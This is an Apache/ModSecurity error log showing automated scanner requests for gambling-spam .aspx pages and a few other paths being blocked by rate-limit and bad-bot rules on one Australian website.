[Mon Apr 27 13:36:30.941641 2026] [:error] [pid 62511:tid 62592] [client 51.75.119.154:59300] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "ae713rBjE-jhU4FY4Hhv6gAAAVI"]
[Mon Apr 27 13:36:33.446787 2026] [:error] [pid 62607:tid 62630] [client 51.75.119.154:59316] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ae714YXk80_zcPo33vemKgAAAFU"]
[Mon Apr 27 13:36:35.975972 2026] [:error] [pid 62509:tid 62528] [client 51.75.119.154:39582] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ae7149wtbauadMz70GGBbgAAAIw"]
[Mon Apr 27 13:36:38.485099 2026] [:error] [pid 62511:tid 62587] [client 51.75.119.154:39596] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "ae715rBjE-jhU4FY4Hhv7gAAAU0"]
[Mon Apr 27 13:36:40.995924 2026] [:error] [pid 62511:tid 62578] [client 51.75.119.154:39602] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "ae716LBjE-jhU4FY4Hhv8wAAAUQ"]
[Mon Apr 27 13:36:43.504170 2026] [:error] [pid 62607:tid 62613] [client 51.75.119.154:39612] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "ae7164Xk80_zcPo33vemOgAAAEQ"]
[Mon Apr 27 13:36:46.010594 2026] [:error] [pid 62607:tid 62630] [client 51.75.119.154:55244] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "ae717oXk80_zcPo33vemQQAAAFU"]
[Mon Apr 27 13:36:48.531195 2026] [:error] [pid 62511:tid 62584] [client 51.75.119.154:55248] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "ae718LBjE-jhU4FY4Hhv9wAAAUo"]
[Mon Apr 27 13:36:51.061119 2026] [:error] [pid 62509:tid 62517] [client 51.75.119.154:55262] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "ae7189wtbauadMz70GGBdQAAAIM"]
[Mon Apr 27 13:36:53.569569 2026] [:error] [pid 62511:tid 62596] [client 51.75.119.154:55270] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "ae719bBjE-jhU4FY4Hhv-gAAAVY"]
[Mon Apr 27 13:36:56.081447 2026] [:error] [pid 62511:tid 62576] [client 51.75.119.154:51674] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "ae71-LBjE-jhU4FY4Hhv_gAAAUI"]
[Mon Apr 27 13:36:58.440784 2026] [:error] [pid 62511:tid 62595] [client 51.75.119.154:51684] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "ae71-rBjE-jhU4FY4HhwAgAAAVU"]
[Mon Apr 27 13:37:00.966274 2026] [:error] [pid 62511:tid 62596] [client 51.75.119.154:51688] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "ae71_LBjE-jhU4FY4HhwBgAAAVY"]
[Mon Apr 27 13:37:21.815430 2026] [:error] [pid 62511:tid 62586] [client 51.75.119.154:51692] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "ae72EbBjE-jhU4FY4HhwJQAAAUw"]
[Mon Apr 27 13:37:24.244510 2026] [:error] [pid 62510:tid 62568] [client 51.75.119.154:35336] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "ae72FICpoM1jGOxUMpv0_gAAANc"]
[Mon Apr 27 13:37:26.737893 2026] [:error] [pid 62510:tid 62561] [client 51.75.119.154:39780] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "ae72FoCpoM1jGOxUMpv1AwAAANA"]
[Mon Apr 27 13:37:29.245070 2026] [:error] [pid 62607:tid 62623] [client 51.75.119.154:39794] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "ae72GYXk80_zcPo33vemcwAAAE4"]
[Mon Apr 27 13:37:31.744530 2026] [:error] [pid 62607:tid 62624] [client 51.75.119.154:39802] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "ae72G4Xk80_zcPo33vemdAAAAE8"]
[Mon Apr 27 13:37:34.248966 2026] [:error] [pid 62511:tid 62591] [client 51.75.119.154:39808] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "ae72HrBjE-jhU4FY4HhwKwAAAVE"]
[Mon Apr 27 13:37:36.761670 2026] [:error] [pid 62607:tid 62615] [client 51.75.119.154:58780] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "ae72IIXk80_zcPo33vemfQAAAEY"]
[Mon Apr 27 13:37:39.259003 2026] [:error] [pid 62607:tid 62609] [client 51.75.119.154:58784] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "ae72I4Xk80_zcPo33vemggAAAEA"]
[Mon Apr 27 13:37:41.788995 2026] [:error] [pid 62607:tid 62614] [client 51.75.119.154:58800] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "ae72JYXk80_zcPo33vemhwAAAEU"]
[Mon Apr 27 13:37:44.316562 2026] [:error] [pid 62607:tid 62623] [client 51.75.119.154:58812] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "ae72KIXk80_zcPo33vemjQAAAE4"]
[Mon Apr 27 13:37:46.812690 2026] [:error] [pid 62510:tid 62567] [client 51.75.119.154:55144] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "ae72KoCpoM1jGOxUMpv1CQAAANY"]
[Mon Apr 27 13:37:49.322075 2026] [:error] [pid 62607:tid 62625] [client 51.75.119.154:55160] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "ae72LYXk80_zcPo33vemmAAAAFA"]
[Mon Apr 27 13:37:51.823049 2026] [:error] [pid 62607:tid 62613] [client 51.75.119.154:55170] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "ae72L4Xk80_zcPo33vemngAAAEQ"]
[Mon Apr 27 13:37:54.198826 2026] [:error] [pid 62510:tid 62551] [client 51.75.119.154:55182] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "ae72MoCpoM1jGOxUMpv1DAAAAMY"]
[Mon Apr 27 13:37:56.701546 2026] [:error] [pid 62510:tid 62554] [client 51.75.119.154:54034] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "ae72NICpoM1jGOxUMpv1DgAAAMk"]
[Mon Apr 27 13:37:59.200917 2026] [:error] [pid 62511:tid 62586] [client 51.75.119.154:54040] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "ae72N7BjE-jhU4FY4HhwPQAAAUw"]
[Mon Apr 27 13:38:01.694353 2026] [:error] [pid 62510:tid 62562] [client 51.75.119.154:54048] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "ae72OYCpoM1jGOxUMpv1FgAAANE"]
[Mon Apr 27 13:38:04.215807 2026] [:error] [pid 62607:tid 62630] [client 51.75.119.154:54060] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "ae72PIXk80_zcPo33vemqAAAAFU"]
[Mon Apr 27 13:38:06.720172 2026] [:error] [pid 62510:tid 62547] [client 51.75.119.154:41030] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "ae72PoCpoM1jGOxUMpv1GwAAAMI"]
[Mon Apr 27 13:38:09.240832 2026] [:error] [pid 62607:tid 62613] [client 51.75.119.154:41032] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "ae72QYXk80_zcPo33vemsgAAAEQ"]
[Mon Apr 27 13:38:11.628584 2026] [:error] [pid 62607:tid 62612] [client 51.75.119.154:41048] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "ae72Q4Xk80_zcPo33vemtwAAAEM"]
[Mon Apr 27 13:38:13.946276 2026] [:error] [pid 62607:tid 62629] [client 51.75.119.154:41060] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "ae72RYXk80_zcPo33vemvAAAAFQ"]
[Mon Apr 27 13:38:16.462232 2026] [:error] [pid 62607:tid 62615] [client 51.75.119.154:42564] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "ae72SIXk80_zcPo33vemyQAAAEY"]
[Mon Apr 27 13:38:18.960810 2026] [:error] [pid 62510:tid 62545] [client 51.75.119.154:42574] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "ae72SoCpoM1jGOxUMpv1IwAAAME"]
[Mon Apr 27 13:38:39.787962 2026] [:error] [pid 62607:tid 62611] [client 51.75.119.154:42588] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "ae72X4Xk80_zcPo33venUAAAAEI"]
[Mon Apr 27 13:38:42.202180 2026] [:error] [pid 62511:tid 62592] [client 51.75.119.154:50248] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "ae72YrBjE-jhU4FY4HhwegAAAVI"]
[Mon Apr 27 13:38:44.675576 2026] [:error] [pid 62607:tid 62629] [client 51.75.119.154:42406] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "ae72ZIXk80_zcPo33venVgAAAFQ"]
[Mon Apr 27 13:38:46.976589 2026] [:error] [pid 62607:tid 62609] [client 51.75.119.154:42418] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ae72ZoXk80_zcPo33venWQAAAEA"]
[Mon Apr 27 13:38:49.296069 2026] [:error] [pid 62511:tid 62581] [client 51.75.119.154:42434] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "ae72abBjE-jhU4FY4HhwfwAAAUc"]
[Mon Apr 27 13:38:51.787232 2026] [:error] [pid 62607:tid 62619] [client 51.75.119.154:42436] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "ae72a4Xk80_zcPo33venYgAAAEo"]
[Mon Apr 27 13:38:54.093073 2026] [:error] [pid 62510:tid 62559] [client 51.75.119.154:42446] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "ae72boCpoM1jGOxUMpv1LAAAAM4"]
[Mon Apr 27 13:38:56.399792 2026] [:error] [pid 62510:tid 62555] [client 51.75.119.154:56176] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "ae72cICpoM1jGOxUMpv1LgAAAMo"]
[Mon Apr 27 13:38:58.865619 2026] [:error] [pid 62607:tid 62633] [client 51.75.119.154:56190] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "ae72coXk80_zcPo33venZAAAAFg"]
[Mon Apr 27 13:39:01.203531 2026] [:error] [pid 62607:tid 62624] [client 51.75.119.154:56202] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "ae72dYXk80_zcPo33venaQAAAE8"]
[Mon Apr 27 13:39:03.746486 2026] [:error] [pid 62607:tid 62617] [client 51.75.119.154:56212] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "ae72d4Xk80_zcPo33venbAAAAEg"]
[Mon Apr 27 13:51:51.750923 2026] [:error] [pid 62509:tid 62514] [client 34.55.86.97:54195] [client 34.55.86.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/system/js/core.js"] [unique_id "ae75d9wtbauadMz70GGE0gAAAIA"]
[Mon Apr 27 14:08:43.875325 2026] [:error] [pid 62509:tid 62524] [client 104.198.68.113:16054] [client 104.198.68.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ae79a9wtbauadMz70GGIxwAAAIg"]
[Mon Apr 27 14:22:14.802252 2026] [autoindex:error] [pid 62510:tid 62548] [client 20.255.80.192:4913] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive
[Mon Apr 27 14:22:14.932329 2026] [proxy_fcgi:error] [pid 62510:tid 62553] [client 20.255.80.192:4913] AH01071: Got error 'Primary script unknown'
[Mon Apr 27 14:22:15.210339 2026] [autoindex:error] [pid 62510:tid 62564] [client 20.255.80.192:4913] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/pki-validation/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive
[Mon Apr 27 14:22:16.476380 2026] [:error] [pid 62510:tid 62551] [client 20.255.80.192:4913] [client 20.255.80.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "ae8AmICpoM1jGOxUMpsE8gAAAMY"]
[Mon Apr 27 14:22:16.968482 2026] [:error] [pid 62511:tid 62588] [client 20.255.80.192:4893] [client 20.255.80.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "ae8AmLBjE-jhU4FY4HiDCgAAAU4"]
[Mon Apr 27 14:22:17.440839 2026] [:error] [pid 62607:tid 62609] [client 20.255.80.192:4184] [client 20.255.80.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "ae8AmYXk80_zcPo33vfBIQAAAEA"]
